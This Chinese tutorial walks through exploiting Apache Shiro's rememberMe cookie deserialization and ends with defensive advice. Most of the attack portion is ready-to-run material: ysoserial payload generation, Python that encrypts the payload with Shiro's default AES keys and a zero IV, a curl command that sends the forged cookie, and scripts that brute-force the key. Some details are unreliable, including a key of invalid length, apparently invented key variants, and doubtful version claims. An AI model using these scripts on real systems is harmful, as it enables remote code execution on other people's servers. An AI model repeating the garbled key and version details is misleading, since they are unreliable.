一、rememberMe Cookie 机制流程
用户登录勾选"记住我"后,Shiro 执行以下流程:
1. 把 Subject 对象(含 principal、authenticated 等字段)序列化
2. AES-CBC 加密(key 来自 shiro.ini 的 cipherKey)
3. 把密文写入 Cookie: rememberMe=base64(ciphertext)
后续每次请求,Shiro 的 rememberMeFilter:
1. 读取 HTTP 请求的 rememberMe Cookie
2. Base64 解码 → 拿到密文
3. AES-CBC 解密(IV 固定全零,key 默认硬编码)
4. ObjectInputStream.readObject() ← 攻击入口!
5. 恢复 Subject → 完成自动登录
二、默认 AES 密钥
Shiro 从 1.0 版本起就在 JAR 里硬编码了默认密钥。
| Base64 Key | 版本 | 文件位置 |
|---|---|---|
kPH+bIxk5D2deZiIxcaaaA== |
全版本默认 | AbstractRememberMeManager.DEFAULT_CIPHER_KEY_BYTES |
4AvVhmFLUs0KTA3Kprsdag== |
1.4 默认 | |
Z3VucwAAAAAAAAAAAAAAAA== |
某些集成环境 | |
wGiHplamyXlVB11UXWol8g== |
1.2.4 | |
fCq+Q0yMZ2+J02YcT5P+Q7A== |
1.3.2 |
可以用 strings shiro-core-*.jar | grep -i cipher 查找。
三、完整攻击流程演示
Step 1: 确认 rememberMe Cookie 存在
curl -v -X POST http://target/login \
-d "username=x&password=y&rememberMe=on" \
-c /tmp/cookies.txt
# 查看响应头是否有 Set-Cookie: rememberMe=xxx
grep rememberMe /tmp/cookies.txt
Step 2: 生成 CommonsCollections 序列化 payload
java -jar ysoserial.jar CommonsCollections6 "touch /tmp/shiro_pwned" > cc6.bin
# 也可以用 python-poc 或 seebug 上的脚本
Step 3: Python 加密(生成 rememberMe Cookie 格式)
import base64, sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
def encrypt_shiro(plaintext, key_b64):
key = base64.b64decode(key_b64)
iv = b'\x00' * 16 # Shiro 固定全零 IV!
cipher = AES.new(key, AES.MODE_CBC, iv)
encrypted = cipher.encrypt(pad(plaintext, AES.block_size))
return base64.b64encode(encrypted).decode()
def decrypt_shiro(cookie, key_b64):
key = base64.b64decode(key_b64)
iv = b'\x00' * 16
ciphertext = base64.b64decode(cookie)
cipher = AES.new(key, AES.MODE_CBC, iv)
plain = cipher.decrypt(ciphertext)
return plain # 可能有 PKCS7 padding
with open("cc6.bin", "rb") as f:
payload = f.read()
cookie_value = encrypt_shiro(payload, "kPH+bIxk5D2deZiIxcaaaA==")
print(f"rememberMe={cookie_value}")
Step 4: 发送攻击请求
COOKIE="rememberMe=$(python3 -c '
import base64,sys
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
key=base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv=b"\x00"*16
with open("cc6.bin","rb") as f: pt=f.read()
print(base64.b64encode(AES.new(key,AES.MODE_CBC,iv).encrypt(pad(pt,16))).decode())')"
curl http://target -H "Cookie: ${COOKIE}" -v
四、自动 Key 探测
import base64, requests, sys
from Crypto.Cipher import AES
KNOWN_KEYS = [
"kPH+bIxk5D2deZiIxcaaaA==",
"4AvVhmFLUs0KTA3Kprsdag==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"wGiHplamyXlVB11UXWol8g==",
"fCq+Q0yMZ2+J02YcT5P+Q7A==",
"1AvVhmFLUs0KTA3Kprsdag==",
"3AvVhmFLUs0KTA3Kprsdag==",
"5AvVhmFLUs0KTA3Kprsdag==",
"6AvVhmFLUs0KTA3Kprsdag==",
"2AvVhmFLUs0KTA3Kprsdag==",
"4AvVhmFLUs0KTA3Kprsdag==",
]
def decrypt_shiro(cookie, key_b64):
try:
ct = base64.b64decode(cookie)
key = base64.b64decode(key_b64)
iv = b'\x00' * 16
d = AES.new(key, AES.MODE_CBC, iv).decrypt(ct)
return d[:4] == b'\xac\xed\x00\x05'
except: return False
def find_key(cookie):
for k in KNOWN_KEYS:
if decrypt_shiro(cookie, k):
print(f"[+] Found key: {k}")
return k
print("[-] Key not in known list")
return None
if __name__ == "__main__":
cookie = sys.argv[1]
find_key(cookie)
五、响应差异判断
| 解密结果 | 反序列化结果 | HTTP 响应 |
|---|---|---|
| 解密失败(PKCS 错误) | N/A | 500 Internal Server Error |
| 解密成功但反序列化抛异常 | Exception | 302 重定向(Shiro 清理后重定向) |
| 解密成功且反序列化完成 | Subject 恢复 | 200 + 正常页面 |
六、Padding Oracle 攻击
AES-CBC Padding Oracle 可以在不知道 key 的情况下,通过响应差异逐字节恢复明文。原理:
C[i] = P[i] XOR E(C[i-1])
攻击方修改 C[i-1] 的最后一个字节
→ 看解密后的 padding 是否正确
→ 正确时得到明文最后一个字节
→ 从右向左逐字节爆破
这个方法在 key 探测失败但加密仍存在时可以用。
七、防御方案
7.1 升级
升级到 Shiro 1.13+,移除 commons-collections 依赖。
7.2 替换默认 key
# shiro.ini
securityManager.rememberMeManager.cipherKey = 随机16字节Base64编码
# 例如: openssl rand -base64 16
# securityManager.rememberMeManager.cipherKey = aB3f9X7kL2mN5oQ8rS1uV4wX7yZ0cD3f
7.3 禁用 rememberMe
# 完全禁用
securityManager.rememberMeManager.cookie.maxAge = -1
securityManager.rememberMeManager.cookie.name = none
7.4 JVM 参数拦截
# 拦截 CC gadget
java -Djdk.serialFilter="org\.apache\.commons\.collections\..*;!*" -jar app.jar
八、总结
Shiro 反序列化把 Java 漏洞藏在了加密通道后面,但 AES-CBC + 固定全零 IV + 公开默认 key 并不是安全屏障。攻击路径:rememberMe Cookie → Base64 解码 → AES-CBC 解密 → ObjectInputStream → CC 链 → Runtime.exec。防御要点:升级 + 换 key + 禁用不必要功能 + 移除 commons-collections 依赖。
九、JWT Bearer Token 替代 rememberMe
现代 Shiro 版本推荐用 JWT 替代 rememberMe cookie:
// JWT 是无状态的,Shiro 不做对象反序列化
String token = Jwts.builder()
.setSubject(username)
.setIssuedAt(new Date())
.setExpiration(new Date(System.currentTimeMillis() + 3600000))
.signWith(SignatureAlgorithm.HS256, "secret-key")
.compact();
JWT 没有反序列化问题——它只是签名验证,不需要恢复 Java 对象。
十、Shiro 1.4+ 的变化
Shiro 1.4 对 rememberMe 做了改进:
- 默认 key 从
kPH+bIxk5D2deZiIxcaaaA==改为4AvVhmFLUs0KTA3Kprsdag== - 增加了加密算法可配置(AES-GCM 替代 CBC)
- 但核心问题仍未解决——AES-GCM 如果 key 泄露,一样可以构造 payload
十一、自动化 Shiro 检测脚本(完整 Python)
#!/usr/bin/env python3
"""完整 Shiro rememberMe 检测脚本"""
import base64, requests, sys, struct, subprocess
from Crypto.Cipher import AES
from Crypto.Util.Padding import pad
KNOWN_KEYS = [
"kPH+bIxk5D2deZiIxcaaaA==",
"4AvVhmFLUs0KTA3Kprsdag==",
"Z3VucwAAAAAAAAAAAAAAAA==",
"wGiHplamyXlVB11UXWol8g==",
]
def gen_ysoserial(gadget, cmd):
r = subprocess.run(["java","-jar","ysoserial.jar",gadget,cmd],capture_output=True)
return r.stdout
def encrypt(payload, key_b64):
key = base64.b64decode(key_b64)
iv = b'\x00'*16
return base64.b64encode(AES.new(key,AES.MODE_CBC,iv).encrypt(pad(payload,16))).decode()
def decrypt(cookie, key_b64):
key = base64.b64decode(key_b64)
iv = b'\x00'*16
ct = base64.b64decode(cookie)
try:
pt = AES.new(key,AES.MODE_CBC,iv).decrypt(ct)
return pt[:4] == b'\xac\xed\x00\x05'
except: return False
def check(target):
# Step 1: 拿 rememberMe Cookie
r = requests.get(f"{target}/login", allow_redirects=False)
set_cookie = r.headers.get("Set-Cookie","")
if "rememberMe=deleteMe" in set_cookie or "rememberMe" not in set_cookie:
print("[-] No rememberMe cookie")
return
cookie_val = set_cookie.split("rememberMe=")[1].split(";")[0]
# Step 2: 探测 key
for k in KNOWN_KEYS:
if decrypt(cookie_val, k):
print(f"[+] Found key: {k}")
return k
print("[-] Unknown key")
return None
if __name__ == "__main__":
check(sys.argv[1])
十二、Shiro 反序列化 vs 其他
| 对比 | Shiro | 其他 |
|---|---|---|
| 攻击入口 | rememberMe Cookie | 任意 unserialize 调用 |
| 加密层 | 有(但 key 泄露) | 通常无 |
| 需要 gadget | 是(CC 等) | 是(CC 等) |
| 关键特征 | rememberMe= Cookie 前缀 |
N/A |
十三、总结补充
Shiro 反序列化把 Java 漏洞藏在了加密通道后面。虽然看起来有加密保护,但 AES-CBC + 固定全零 IV + 公开默认 key 并不是安全屏障。防御要点:升级 + 换 key + 禁用不必要功能 + 移除 commons-collections 依赖。用 JWT 替代 rememberMe 也是一个好思路——无状态 Token 完全避开了反序列化问题。